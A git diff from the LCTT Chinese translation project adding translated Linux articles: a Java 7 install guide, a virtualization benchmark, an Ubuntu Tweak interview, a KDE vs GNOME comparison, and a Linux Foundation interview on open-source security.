gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created
|
||||
gpg: key EEA14886: public key "Launchpad VLC" imported
|
||||
gpg: Total number processed: 1
|
||||
gpg: imported: 1 (RSA: 1)
|
||||
OK
|
||||
|
||||
4. 现在更新你的系统
|
||||
|
||||
$ sudo apt-get update
|
||||
|
||||
5. 运行以下命令安装Java 7:
|
||||
|
||||
$ sudo apt-get install oracle-java7-installer
|
||||
|
||||
[sudo] password for enock:
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
The following packages were automatically installed and are no longer required:
|
||||
gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4
|
||||
libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6
|
||||
rsync netpbm libgvc5 libnetpbm10 libgraph4
|
||||
Use 'apt-get autoremove' to remove them.
|
||||
The following extra packages will be installed:
|
||||
gsfonts-x11 java-common
|
||||
Suggested packages:
|
||||
default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts
|
||||
ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho
|
||||
ttf-sazanami-mincho ttf-arphic-uming
|
||||
The following NEW packages will be installed:
|
||||
gsfonts-x11 java-common oracle-java7-installer
|
||||
0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded.
|
||||
Need to get 88.5 kB of archives.
|
||||
After this operation, 473 kB of additional disk space will be used.
|
||||
Do you want to continue [Y/n]?
|
||||
|
||||
6. 输入代表Yes的**Y**以及回车键继续安装。
|
||||
|
||||
7. 在安装过程中，你需要同意条款才能继续。选择**OK**。
|
||||
|
||||
|
||||
|
||||
8. 然后选择**Yes**继续。
|
||||
|
||||
|
||||
|
||||
9. 现在请等待安装包的下载与自动安装:
|
||||
|
||||
|
||||
|
||||
10. 安装完成。你可以在终端上查看Java版本:
|
||||
|
||||
$ java -version
|
||||
java version "1.7.0_45"
|
||||
Java(TM) SE Runtime Environment (build 1.7.0_45-b18)
|
||||
Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/
|
||||
|
||||
译者：[whatever1992](https://github.com/whatever1992) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,76 @@
|
||||
KVM，Xen与VirtualBox在Intel Haswell上的Linux虚拟化性能比较
|
||||
==============================================================
|
||||
|
||||
现在我们做的是[Intel Haswell][1]的虚拟化基准测试。我们在Intel酷睿i7 4770K的“Haswell”处理器上使用搭载了最新软件组件的Fedora 19，来进行KVM，Xen和VirtualBox的基准测试。
|
||||
|
||||
自从上个月推出Haswell以来，我们已经发布了许多和这款全新的英特尔处理器相关的基准测试，但我们直到这篇文章发布前，一直没有涵盖虚拟化方面的性能测试。这里，启用了英特尔硬件虚拟化后，将在一个纯净的Fedora 19 的64位操作系统上，分别安装KVM，Xen和Virtualbox，并进行比较。
|
||||
|
||||
目前Fedora 19拥有搭载GCC 4.8.1的Linux 3.9.8版本内核，Mesa 9.2.0开发库和一个EXT4文件系统。所有的虚拟化组件都从Fedora 19的仓库中获取的，包括QEMU 1.4.2，Xen 4.2.2和libvirt/virt-manager组件。Xen和KVM的虚拟化通过virt-manager来建立。VirtualBox 4.2.16则是通过VirtualBox.org获取并安装在Fedora 19中。
|
||||
|
||||
|
||||
|
||||
这个英特尔酷睿i7 4770K机器拥有16GB的内存和240GB的OCZ Vertex 3 固态硬盘。在测试中，每一个虚拟机能够使用全部八个逻辑核心（四个物理核心加上超线程）、16GB内存中的12GB以及16GB的虚拟磁盘。
|
||||
|
||||
在采用英特尔酷睿i7 “Haswell”处理器的Linux 3.9版本内核的Fedora 19上安装的KVM，Xen和VirtualBox的性能也和在没有任何形式的虚拟化或其它抽象层上运行基准测试的“裸机（Bare Metal）”的性能进行了对比。VMWare的产品没有在这篇文章里被测试，因为它们的EULA特性限制了这种公开基准测试（尽管VMware在过去可以让我们正常地做这样的基准测试），并且它们的试用软件只能限制运行在四核CPU上。但以后的另外一篇文章会比较下在其它硬件上XEN/KVM/VMware的性能。
|
||||
|
||||
|
||||
|
||||
全部的Linux虚拟化基准测试采用完全自动化和可重复的方式进行处理，使用开源软件[Phoronix Test Suite][3]并由[OpenBenchmarking.org][4]支持。在使用虚拟磁盘而且Xen/KVM都没有一个可靠的访问主机驱动或GPU的方法以使用3D功能的情况下，这篇文章里的大部分基准测试都是集中在不同Linux虚拟化方法计算性能开销上。
|
||||
|
||||
|
||||
|
||||
磁盘测试在这里并不是虚拟化测试的一个重点，因为只有一个虚拟磁盘被主机的文件系统使用。然而，当把这三种Linux虚拟化方法与裸机结果进行比较时，运行在Linux 3.9内核上的KVM性能最好，其次是Xen。Oracle的Virtual仅仅跑出了主机上PostMark邮件服务器性能的66%，而KVM跑出了性能的96%，Xen是83%。
|
||||
|
||||
|
||||
|
||||
对于Dolfyn计算流体动力学的工作量，当运行在KVM或Xen上时，和裸机的运行结果相比并没有任何重大的变化。然而，VirtualBox则是明显变慢了。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
FFTE和HMMer的结果和Dolfyn类似：Xen和KVM用很小的开销获得很好的性能，但Oracle的VirtualBox则慢得多。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
当John The Ripper这个破解密码的程序在VirtualBox中运行时，则直接崩溃了。
|
||||
|
||||
|
||||
|
||||
运行TTSIOD渲染器时，在Linux 3.9 内核的Fedora 19上运行的Xen虚拟化方法获得了它的第一次性能比拼的胜利。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
总之，运行在搭载英特尔酷睿i7 4770K处理器Fedora 19上的Xen和KVM虚拟化技术工作良好。这些虚拟化方法在Haswell处理器上的性能开销是最小的。当Xen和KVM在这款全新的英特尔处理器上运行良好的时候，Oracle的VirtualBox（最新版本，v4.2.16）相对慢得多。虽然VirtualBox的一个优点是支持客户机3D加速，但这会在未来的一篇Phoronix文章中再次进行测试。而把Haswell和前几代的英特尔处理器和AMD处理器比较不同虚拟化方法的性能开销也会在不久之后在Phoronix上进行测试。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization
|
||||
|
||||
译者：[KayGuoWhu](http://github.com/KayGuoWhu) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU
|
||||
[3]:http://www.phoronix-test-suite.com/
|
||||
[4]:http://openbenchmarking.org/
|
||||
|
||||
94
published/Interview with Ding Zhou of Ubuntu Tweak.md
Normal file
94
published/Interview with Ding Zhou of Ubuntu Tweak.md
Normal file
@ -0,0 +1,94 @@
|
||||
专访Ubuntu Tweak的作者周鼎
|
||||
================================================================================
|
||||
|
||||
[Ubuntu tweak][1] 是一款知名度很高的应用程序软件，Ubuntu 用户可以用它来调整系统的性能、功能等各个细节。项目的创始人，周鼎又名 Tualatrix Chou ，正与我们分享 Ubuntu Tweak 的特性、使用感觉以及它跟 Canonical 的关系，并且勾勒了项目的未来计划蓝图。享受吧！
|
||||
|
||||
**你什么时候开始使用 Linux 的，并基于什么使你决定开发 Ubuntu tweak ？**
|
||||
|
||||
我开始使用 Linux 是在2006年底，那时刚开始我的大学生活。当时我正在学 C 编程语言，一个朋友建议说要学习编程的话 Linux 是最好的平台环境，所以我就开始了我的 Linux 生涯，是从 Fedora Core 6 开始的。但用了仅仅只有一周的时间，我就换成 Ubuntu 6.10，因为Ubuntu在中国有更好的社区，也有更好更快的源库/镜像。我立马就爱上了 Ubuntu，就一周时间，就从 Windows 环境完全切换到 Ubuntu 环境。
|
||||
|
||||
在苦乐参半的半年使用时间后，我意识到 Ubuntu 对中国用户来说不是太友好，因为全新安装系统后，用户必须得自己配置字体、输入法以及其它很多很多设置。所以，我决定开发出一款应用程序来帮助新手，让他们很简单的就可以对系统做相应配置。
|
||||
|
||||
因此在2007年7月，我就开始开发 Ubuntu Tweak，刚开始的时候，仅仅提供了汉语版本的，但很快就考虑了 Ubuntu Tweak 的国际版本，并且在2007年9月份就发布了首个国际版本。
|
||||
|
||||
**Ubuntu tweak 已经是非常成功的项目了。很多 Ubuntu 用户用它来调整系统的性能、功能等各个细节。能给我们谈论下 Ubuntu Tweak 能做些什么吗？**
|
||||
|
||||
|
||||
|
||||
Ubuntu Tweak 可以用来切换桌面图标的显示方式、设置字体、启用/禁用多用户切换功能以及登陆的标识（logo）等等。
|
||||
|
||||
在最新的 Ubuntu Tweak 0.6版本中，你也可以调整你的 Unity 桌面以及关机功能。
|
||||
|
||||
你也能使用 Ubuntu Tweak 来清理系统的垃圾以释放空间和使系统保持干净。
|
||||
|
||||
**Canonical 在他们的默认发布源中不考虑加入 Ubuntu Tweak。这意味着什么？这对那些没有经验，但又想要使用你的应用程序来调整他们的系统的用户来说，存在某些风险吗？**
|
||||
|
||||
对的。因为在以前的 Ubuntu Tweak 发布版本中，为流行的 PPA 都提供了可用源，但我不能保证所有的 PPA 都是安全的，所以 Ubuntu Tweak 会有一些安全风险。
|
||||
|
||||
如你们所见，从0.6版本后 Ubuntu Tweak 就已经移除了源中心（Source Center）。但请不要混淆“Ubuntu默认包含”和“加入源仓库”这两个概念。Ubuntu Tweak 首先应该要被加入通用资源仓库，然后才能被 Ubuntu 默认包含。
|
||||
|
||||
从错误报告和用户反馈来看，Ubuntu Tweak 已经比老版本更加稳定及更易使用。
|
||||
|
||||
**你有收到来自 Canonical 和 Ubuntu 开发者的支持或有跟他们合作（不论什么）的事项吗，是哪些方面的？**
|
||||
|
||||
当然，我得到 Canonical 公司的一些帮助，他们试着帮我把 Ubuntu Tweak 放入源仓库。这工作现在仍然在进行。
|
||||
|
||||
也得到社区的很多热心帮助，他们帮我翻译、设计、测试、报告错误，甚至提交代码分支。
|
||||
|
||||
**开发 Ubuntu Tweak 的有多少人？**
|
||||
|
||||
如果你说的是“代码开发者”，就仅仅我一个，但我们有很多设计人员：logo 是M.Sharp设计的，Kevin Chou 帮助设计了 Ubuntu Tweak 的用户界面(UI)原型，就是0.6版本的样子。现在 Jeonkwan Chan 正在帮我重新美化用户界面，将会用在0.7版本上。任何人，只要愿意就可以加入到 Ubuntu Tweak 的开发中来:)
|
||||
|
||||
**在Ubuntu11.04版本中当 Unity 出现时，许多 Ubuntu 用户抱怨其可配置性不好，您对这个怎么看的？这个特殊的桌面环境能有些什么多适用性的配置能力呢？**
|
||||
|
||||
我喜欢桌面系统的可配置高适应性，这是 Linux 系统的优点，不是吗？
|
||||
|
||||
例如，我不喜欢 Unity Launcher 的自动隐藏功能，所以我设置让他不会隐藏。
|
||||
|
||||
事实上，Unity 是可配置的，仅仅是它缺少 CompizConfig 设置管理器，所以你不能把 Unity Launcher 放到桌面底部或右面，这对左撇子来说很不友好。哈哈，开玩笑的。
|
||||
|
||||
如大家所见，Ubuntu 12.04已经增加了隐藏/显示切换功能，Launcher 的大小在系统设置中也可以自定义设置。我认为 Unity 将会有更多的可配置功能。
|
||||
|
||||
**一般来说，你认为 Canonical 公司开发 Unity 桌面环境是正确的决策吗？他们与 Gnome 开发者之间有合作争议，这有些是不可避免的吗？**
|
||||
|
||||
是的，对于 Canonical 公司来说，我觉得他们的决策很正确。回顾三年前，当 Ubuntu 首次引入基于 GNOME Panel 的Indicator ，它的设计就要比原来直接的 GNOME Panel 小程序更优雅。但 Canonical 开发者和 GNOME 开发者之间合作有些问题，因为他们从来没有着眼于 GNOME。直到 GNOME 3 的面世，情况才有所好转，它的 GNOME Shell 已经从 GNOME Panel 移出来了，并且 GNOME Shell 的面板已经和上面提到的 Indicator 用的是同一套设计方式。如果他们之间共用相同的 API 的话，桌面Linux应该会更好用。
|
||||
|
||||
所以来自于公司、社区、GNOME 桌面等的不同的关于用户界面的见解，综合起来最终就形成了 Unity。
|
||||
|
||||
我认为这是好事。至少，到目前为至，比起 GNOME Shell 来说，我更喜欢 Unity。
|
||||
|
||||
**虽然你正在开发的是一款 Ubuntu 系统专用的程序，但我假设你为了使用更多的高级用户功能，会使用其它的发行版本。你会选择哪些发行版本呢？为什么？**
|
||||
|
||||
当然，我已经玩过 Fedora、Arch、 OpenSUSE，特别是 Gentoo，我已经整整使用了一年。它是我第二喜欢的 Linux 发行系统，因为它拥有一个最先进的包管理系统。
|
||||
|
||||
但现在我仅仅只使用 Ubuntu 的桌面版本和服务版，也使用 Mac OS X，很多的设计灵感就来自于它 :)
|
||||
|
||||
**Ubuntu Tweak 能被优化或做几个分支或者改变一点点，以便能在其它的 linux 发行版本比如 Fedora、OpenSue 或者 Debian 上使用吗？有做成统一的一个叫做“Linux Tweak”的应用程序，用户不管选择什么样的发布版本或桌面环境都可以用这种想法吗？不知道是否可行？**
|
||||
|
||||
可以的，要让 Ubuntu Tweak 在其它发行版本中运行非常容易。它是模块化的，很轻松的就可以改造(hack)。
|
||||
|
||||
2008年的时候，我就发布了一版 Fedora 的“Ubuntu Tweak for Fedora”，但最终我放弃维护这个版本了，因为我主要关注 Ubuntu 版本的，所以没有那么多精力。
|
||||
|
||||
**那 Ubuntu Tweak 的未来计划是什么？也许 Canonical 公司会内嵌进系统，然后把它做为发布版本默认的工具或者他们会基于他们自己的系统调整工具来使用它。您认为呢？您的下一步计划会是什么的呢？**
|
||||
|
||||
Ubuntu Tweak 的未来当然会一片光明。哈哈。
|
||||
|
||||
我已经开始实现把 Ubuntu Tweak 加入软件中心这个工作了。如果用户能从软件中心直接安装 Ubuntu Tweak，它会更容易。
|
||||
|
||||
现在我正在开发0.7版本的，它将更美观，并且与 Unity 桌面的集成度更好，也加入了一些很有用的新功能。我想使Ubuntu Tweak 在 Unity 桌面环境下尽可能的发挥作用。
|
||||
|
||||
跟随着 Ubuntu 12.04的发布，我也计划发布新的版本，希望大家喜欢 :)
|
||||
|
||||
还有一件事要透露下，我已经加入 Canonical 北京公司，负责处理 OEM 的事情。虽然 Ubuntu Tweak 仍是一个个人项目，我还没有参与进 Ubuntu 的开发任务，但有可能话我会试着加入开发团队 :)
|
||||
|
||||
**太伟大了！谢谢 Tualatrix。**
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者：[runningwater](https://github.com/runningwater) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
[1]:http://ubuntu-tweak.com/
|
||||
81
published/KDE vs GNOME- Settings, Apps, Widgets.md
Normal file
81
published/KDE vs GNOME- Settings, Apps, Widgets.md
Normal file
@ -0,0 +1,81 @@
|
||||
KDE vs GNOME: 设置，应用和小工具
|
||||
=====================================
|
||||
|
||||
当提到桌面环境时，对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中，我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处，也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。
|
||||
|
||||
###第一印象
|
||||
|
||||
第一眼看到桌面，你可能会觉得KDE看起来比Gnome更光亮，并提供一个更友好的科技外观。此外，如果你习惯于Windows环境，屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu，启动程序以及仅仅点击几下鼠标就能找到文档。
|
||||
|
||||
KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说，这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说，这里是值得给予KDE支持的。
|
||||
|
||||
第一次加载进入Gnome 3，如果你来自另一个平台，它的桌面可能被认为是很奇怪的。像经典的Gnome一样，你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是，关闭已经打开的窗口的方法是如此的“与众不同”。然而，站在支持Gnome3的角度上，我发现只要你习惯了这种新的做事方式，会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。
|
||||
|
||||
###小工具和扩展
|
||||
|
||||
随着我们深入了解Gnome和KDE提供的扩展和小工具，这两种桌面环境之间的差别会越来越大。尽管它们都能提供你可以启动的附件以增强桌面体验，但是它们在如何处理扩展功能上的分界并不相同。
|
||||
|
||||
KDE采用一种有趣的方式，即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区，以处理特定的工作流。
|
||||
|
||||
相反地，Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用，而不是以小部件为中心。例如，如果我正在使用多个应用程序，切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。
|
||||
|
||||
###设置你的桌面
|
||||
|
||||
虽然在通过GUI提供充足的设置方面Gnome做得越来越好，但KDE依然是这个领域的王者。（译注：对于这一点，不同的人有不同的看法。）
|
||||
|
||||
使用KDE，你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版，通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中，在这方面做得更好。
|
||||
|
||||
随着Gnome3之后的Gnome桌面更新，我发现的最显著的地方是KDE正在通过易于使用的设置来提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。
|
||||
|
||||
但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是，Kontact是一套附带为每个应用程序绑定一套控制的应用程序，而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的应用中，[AmaroK][5] vs [Rhythmbox][6] 也是如此。
|
||||
|
||||
###文件管理
|
||||
|
||||
当涉及到为你的桌面寻找合适的文件管理器时，Gnome和KDE提供的默认选择都能为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器，而KDE提供[Dolphin][8] 作为它的默认文件管理器。
|
||||
|
||||
除此之外，我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具，不会使Linux的新用户们不知所措。然而，回到KDE上，对于那些想要深入控制的人，Dolphin是一个高度可配置的，而不是适合新手的文件管理方案。
|
||||
|
||||
如果简单地观察每个文件管理器的侧边栏，你会注意到Nautilus提供最直接的导航方式。但是，KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。
|
||||
|
||||
如果你是高级的Linux用户，你很可能发现自己被Dolphin吸引，因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人，Nautilus在简单性上更胜一筹。
|
||||
|
||||
###桌面应用
|
||||
|
||||
经常在Linux爱好者中引发分歧的一个话题是，宣称某个桌面可以提供更好的默认应用。其实，这就是Gnome和KDE当前所处的情况。
|
||||
|
||||
我在这个方面的发现是：在一些方面，Gnome不费吹灰之力就能胜出。例如，GIMP、Evince和Pidegin相对它们在KDE上的同类来说更好用。而以我之见，Kmail则是另一种应用程序，它带给KDE的新用户们一个坏印象。像这类的应用过于复杂，并且在一般情况下，使用起来难以捉摸。
|
||||
|
||||
在另一方面，也有一些有价值的地方来支持KDE。[Calligra][9] 对比 [AbiWord][10] 对于KDE来说是轻松取胜的，因为[LibreOffice][11] 并不是一个“真正的”Gnome特有的应用。因为它是很多Linux发行版的默认套件，而不是桌面环境的默认选择。
|
||||
|
||||
最后，Linux最神奇的地方之一是你可以安装GTK或者Qt库，享受最符合你需求的应用程序带来的好处（译注：即使用另外一种桌面的应用）。对我自己，我发现在大部分情况下，Gnome的默认应用程序是明显的赢家。
|
||||
|
||||
###结语
|
||||
|
||||
如果我发现自己被困在一座岛上，只有一种可用的桌面环境，那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome，但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸了一堆配置，甚至更糟糕，譬如奇怪的警告声称我的声卡找不到。在Gnome环境下，我从没有遇到这些问题。
|
||||
|
||||
因为我珍惜我的时间和理智，所以我会持续推荐使用Gnome而不是KDE；同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人，我想说对于我而言，从长远来看简单地学习Gnome的做事方法给我带来了更大的稳定性。
|
||||
|
||||
照片由[Shutterstock][12]提供。
|
||||
|
||||
---
|
||||
|
||||
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-1.html
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者：[KayGuoWhu](https://github.com/KayGuoWhu) 校对：[wxy](https://github.com/wxy)
|
||||
|
||||
|
||||
[1]:http://www.opensuse.org/en/
|
||||
[2]:http://en.opensuse.org/YaST_Software_Management
|
||||
[3]:http://userbase.kde.org/Kontact
|
||||
[4]:https://projects.gnome.org/evolution/
|
||||
[5]:http://amarok.kde.org/
|
||||
[6]:https://projects.gnome.org/rhythmbox/
|
||||
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
|
||||
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
|
||||
[9]:http://www.calligra-suite.org/
|
||||
[10]:http://www.abisource.com/
|
||||
[11]:http://www.libreoffice.org/
|
||||
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html
|
||||
|
||||
@ -0,0 +1,86 @@
|
||||
Linux领袖说：‘开源很安全，Linux比其它任何系统都安全’
|
||||
================================================================================
|
||||
在对Linux基金会执行官，Jim Zemlin 的采访中，VentureBeat 展望了2014年开源操作系统的未来。
|
||||
|
||||
访谈中我们也探讨了争议性的话题，就是政府部门的监听事件以及‘后门’-那些邪恶的窗口，窥探我们网上的私生活，最近公众发现我们经常使用的大多数服务都有类似的遭遇。
|
||||
|
||||
Zemlin 为我们解释了 GNU/Linux 为什么以及如何使它成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为能源汽车、手机、TV以及其它新兴设备的操作系统。
|
||||
|
||||
以下是我们完整的e-mail访谈实录
|
||||
|
||||
----------
|
||||
|
||||
**VentureBeat: 安全和隐私一直是本年度最热门的话题，我们听到的谣言，Linus[Torvalds, Linux 创始人]对政府部门是否有植入后门的要求点头称是。**
|
||||
|
||||
**Zemlin**: 如果Linux真有后门，你应该知道的。
|
||||
|
||||
全世界的用户都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。
|
||||
|
||||
必须明确指出：Linux没有后门。
|
||||
|
||||
**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由，使其免于遭受追踪和监视？**
|
||||
|
||||
**Zemlin**: 对此，我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到，这是很难的。Linux的本性就是自我定制。
|
||||
|
||||
**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux，对此你作何感想？**
|
||||
|
||||
**Zemlin**: 世界范围内，我听到人们都在说，“用开源保证隐私是必须的。”的确，那会促使更多的使用者选择Linux。
|
||||
|
||||
除了他们对linux平台下的隐私和安全持自信、信任的态度以外， 我认为消费者会基于多种原因选择Linux。
|
||||
代码的透明性以及开发过程逐渐给予日渐博学和警觉的消费者一个选择，一个会让他们对linux感觉良好的选择。
|
||||
|
||||
[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux，就像逐渐占据主导地位的Android和其他运行Linux的电子设备一样，比如电视、家电、汽车等，当然还有更多。
|
||||
|
||||
**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法？ 对于2014-2015年Linux/Ubuntu手机市场走势，你作何预测？**
|
||||
|
||||
**Zemlin**:我希望看到潜在的有趣的新产品进入市场，尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。
|
||||
|
||||
我认为预测基于Linux的手机将占据主导地位，不算夸大事实。Android, Tizen, Ubuntu, Firefox，等等等等，都显示出Linux可以驱动手机市场的创新，并且为消费者创造新的体验，为开发者和OEMs创造机会。
|
||||
|
||||
明年令人振奋的发展，也是我所关注的就是linux和开源界如何把这些设备、对象和服务关联到一起。
|
||||
|
||||
**VentureBeat: 目前为止，你看到的linux嵌入式车载系统的最令人激动的使用案例是什么？**
|
||||
|
||||
**Zemlin**: 毫无疑问，就是，Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。
|
||||
|
||||
比如，今年赢得了 “年度汽车族”奖项的Tesla Model S，装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。
|
||||
|
||||
2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。
|
||||
|
||||
Linux的成功也能从来自IHS汽车的最新数据上看到，IHS本月报告称，在全球车载信息娱乐市场，基于linux的汽车销量2020年有望达到5370万，超过微软和黑莓QNX。
|
||||
|
||||
Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区，其他开源社区，以及汽车行业，营造一个中立、支持性的环境，我们能够帮助一些世界级巨头汽车制造商提高汽车Linux技术，如日产，捷豹，路虎，丰田，等等。
|
||||
|
||||
**VentureBeat: 在硬核开发者市场以外，Linux是如何发展壮大的，尤其是考虑到消费者和游戏玩家？**
|
||||
|
||||
**Zemlin**:可以肯定的是，对游戏玩家来说，今年确实是linux的一个转折点。Valve, 一个基于Steam网络平台的一个游戏厂商，在linux上构建并运行所有的源代码和动画。Valve的CEO Gabe Newell 称，今年的LinuxCon大会上他们在linux平台运行了198个游戏，随着引进基于linux的Steam，这个数字还会上升。这是Linux和游戏界新趋势的开端。
|
||||
|
||||
用户每天都在用linux。软件支撑着我们的日常生活。像Google，Facebook还有Twitter等公司，都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上，来自Twitter的Chris Aniszczyk告诉听众：
|
||||
“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西？”(译注：言外之意就是有linux就够了，不需要别的什么东西了。)
|
||||
|
||||
如今Linux驱动着130万台日常所用Android手机，每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。这样的例子层出不穷。
|
||||
|
||||
Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线，从电视机到手机，再到家电，等等等等。
|
||||
|
||||
敬请关注 - 未来你将看到更多实例，展现了Linux和开源软件，以及协同开发在日常生活中发挥越来越大的作用。
|
||||
|
||||
**VentureBeat: 在你看来，到2014年，免费和开源软件最大的机遇会是什么？**
|
||||
|
||||
**Zemlin**: 我们已经谈到游戏和电子设备，但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你可以试着去找找不运行在linux上的公共云。
|
||||
|
||||
软件定义的网络（SDN）实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上，交换机，路由，负载均衡器，防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到，像OpenDaylight项目以及其他项目，在2014年都会有大的突破。
|
||||
|
||||
当然，这只是实现协同发展的大趋势的一部分，你的读者应该会对此感兴趣。我的推测是再过一个20年，几乎所有的基础软件都会以协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件，要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念，那么他们职业生涯中的机遇将会是无穷的。
|
||||
|
||||
参与到linux的世界中来是一个激动人心的时刻。从智能手表到电视机，到汽车，只要你能想到，Linux就能为你实现。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/
|
||||
|
||||
译者：[l3b2w1](https://github.com/l3b2w1) 校对：[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/
|
||||
[2]:http://gopro.com/support/open-source
|
||||
@ -1,18 +1,17 @@
|
||||
Linux 下使用Trickle管理和限制下载/上传带宽
|
||||
Linux 下使用Trickle限制下载/上传带宽
|
||||
================================================================================
|
||||
你有没有遇到过一个程序占用了你所有的网络带宽的情况？如果你遇到过，那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户，您都要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
|
||||
|
||||
你有没有遇到过一个程序占用了你所有的网络带宽的情况？如果你遇到过，那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户，您都应该学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
|
||||
|
||||
|
||||
|
||||
### Trickle 是什么? ###
|
||||
|
||||
